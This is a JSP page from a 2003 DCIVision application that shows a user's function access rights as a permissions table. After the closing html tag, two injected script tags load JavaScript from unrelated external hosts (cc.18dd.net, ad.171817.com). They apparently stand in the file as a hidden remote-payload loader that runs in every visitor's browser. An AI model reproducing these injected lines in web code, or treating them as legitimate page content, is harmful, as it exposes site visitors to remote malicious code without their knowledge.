<%
/*
 * @(#)ViewUserFunctionAccess.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewUserFunctionAccess.jsp

  This page is for showing the function access right of a particular user

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    03/09/2003
    @version          $Revision: 1.8.40.4 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<%
  Integer userRecordID = request.getParameter("ID")!=null? new Integer(request.getParameter("ID")): null;
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  Hashtable hashFunc = permissionManager.getAccessibleObjectHashByUserRecordID(GlobalConstant.OBJECT_TYPE_FUNCTION, userRecordID);
%>

<html>
<head>
  <!-- Page Title Section Begin -->
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <!-- Page Title Section End -->
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
  <!-- Common Stylesheet Begin -->
  <link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
  <!-- Common Stylesheet End -->
  <script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
</head>

<body>
<center><h4><%=UserInfoFactory.getUserFullName(userRecordID)%></h4></center>
<layout:sectionHeader name="user.label.function_access_right" mandatory="false"/>
<table width="100%" border="0" cellspacing="0" cellpadding="0" align="center">
<%
  List menu = applicationContainer.getSysFunctionList();
  if (menu != null) {
    for (int i = 0; i < menu.size(); i++) {     // get main functions
      SysFunction sysFunction = (SysFunction)menu.get(i);
      if ( sysFunction.getParentID().intValue()==0 ) {
      %>
  <tr>
    <td class="greyD"><nobr>&nbsp;&nbsp;<b><%=sysFunction.getFunctionNameByLocale(sessionContainer.getSessionLocale())%></b></nobr></td>
    <td class="greyD">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2" align="center" bgcolor="#666666"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td>
  </tr>
      <%
        for (int j=i+1; j<menu.size(); j++) {   // get sub-functions
          SysFunction subFunction = (SysFunction)menu.get(j);
          if ( subFunction.getParentID().intValue()==sysFunction.getID().intValue() ) {
            String permissionType = subFunction.getPermissionType();
          %>
  <tr>
    <td class="light"><nobr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=subFunction.getFunctionNameByLocale(sessionContainer.getSessionLocale())%></nobr></td>
    <td class="light" width="240">
          <%
            // show permission
            String permission = (String)hashFunc.get(subFunction.getID());
            String tmpPermStr = "";
            // System administrator has full access on staff management, system setup and system log
            if ( userRecordID.intValue()==0 && (SystemFunctionConstant.STAFF.equals(sysFunction.getFunctionCode()) || SystemFunctionConstant.SETUP.equals(sysFunction.getFunctionCode()) || SystemFunctionConstant.LOG.equals(sysFunction.getFunctionCode())) ) {
              permission = subFunction.getPermissionType();
            }
            if ( !Utility.isEmpty(permission) ) {
              for (int k=0; k<permission.length(); ++k) {
                if (Character.toUpperCase(permission.charAt(k))==permission.charAt(k)) {
                  tmpPermStr += MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.permission.label_" + permission.charAt(k)) + " / ";
                } else {
                  tmpPermStr += "<strike style='color:#FF0000'>" + MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.permission.label_" + Character.toUpperCase(permission.charAt(k))) + "</strike> / ";
                }
              }
              tmpPermStr = tmpPermStr.substring(0, tmpPermStr.length()-3);  // elimate the ending " / "
            } else {
              tmpPermStr = "[ " + MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "user.label.no_access_right") + " ]";
            }
            out.println(tmpPermStr);
            %>
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center" bgcolor="#666666"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td>
  </tr>
          <%
          }
        }
      }
    }
  }
%>
</table>
<center>
<br>
<html:standardButton label="common.label.print" onClick="return(NavPrint());"/>
<html:standardButton label="common.label.close" onClick="return self.close();"/>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>